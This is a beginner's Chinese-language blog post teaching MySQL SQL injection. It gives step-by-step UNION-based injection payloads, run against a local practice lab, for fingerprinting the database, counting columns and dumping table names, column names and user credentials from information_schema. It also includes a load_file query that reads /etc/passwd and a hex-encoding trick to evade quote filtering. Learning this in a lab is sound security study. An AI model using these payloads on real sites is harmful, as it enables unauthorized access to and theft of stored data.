初学sql注入
2018/10/14
斷斷續續的學習web安全已經半個月了,寫這個博客的目的就是為了見證自己的成長吧,因為初學,可能有錯誤或不足,望包涵。
SQL注入的基礎知識:
單引號必須成對出現,否則數據庫就會報錯。
如果兩個單引號之間內容為空,數據庫自動忽略。
UNION查詢列數必須相同,數據類型必須兼容。
MYSQL常用的注釋:
‘#’
’ - - 空格或者- -+’
’ / * … */’
MySQL中常見的函數:
1.load_file():從計算機中載入文件,讀取文件中的數據。
例:elect * from users union select 1,load_file(’/etc/passwd’),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16進制繞過單引號限制
2.concat():返回結果為連接參數產生的字符串。如果其中一個參數為null,則返回值為null。
例:select concat(username,password)from users;
3.length():返回字符串的長度。
例:select length(“123456”) #返回6
數字型注入的步驟
在這里我用URL/?id=1來為例。
1.先判斷網頁是否可以被注入。可以看出這是一個動態URL,也就是說可以在地址欄中傳參,這是SQL注入的基本條件。
URL/?id=1‘ ①
URL/?id=1 and 1=1 ②
URL/?id=1 and 1=2 ③
如果②頁面正常且①③頁面報錯,那么可以判斷為該網頁存在URL注入且注入類型為數字型注入,id是一個注入點。
2.爆數據庫并判斷數據庫類型以及版本。
構造語句如下:URL/?id=1 and ord(mid(version(),1,1))>51
發現返回正常頁面,說明數據庫是MYSQL,并且版本大于4.0,支持union查詢,反之是4.0以下的版本或者其他類型數據庫。
3.爆字段。
URL/?id=1 order by 1
URL/?id=1 order by 2
…以此類推 直到頁面報錯,如果order by 5時候報錯,則說明字段數為4.
4.爆表。
URL/?id=1 and 1=2 union select 1,2,3,4
或者 URL/?id=-1 union select 1,2,3,4
頁面返回數字,假如為2,3,則說明數據儲存在2,3位,我們可以把2,3的位置替換為我們想要查詢的關鍵字,例如:數據庫名,用戶名,密碼等等。
具體操作:URL/?id=1 and 1=2 union select 1,2,database(),4 按下Enter 此時頁面會返回一個數據庫的名稱,同理還可以返回其他的你想要得到的內容。
如果要查某一表中的內容則操作如下:
URL/?id=1 and 1=2 union select 1,2,username from 表名
補充一點額外知識:提供一個SQL注入實驗室
http://localhost/btslab/vulnerability/ForumPosts.php?id=1
MYSQL中有個數據庫叫做information_schema,這個里有張表叫做tables,其中的table_name列儲存了所有數據庫中的所有表名,而table_schema則儲存著該表所在的數據庫名,group_concat()則可以把多項數據聯合成一個字符串http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
得到bts數據庫中的表。
2.MYSQL中有個數據庫叫做information_schema,這個里有張表叫做columns,其中的column_name列儲存了所有數據庫中的所有表的列名,而table_name列則儲存著該列所在的表名,table_schema列儲存著所在的數據庫名。
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users’ and table_schema=database()
得到用戶名 和密碼。
總結
- 上一篇: 无线系列-无线通信系统组成
- 下一篇: 三菱PLC QCPU用户手册(功能解说/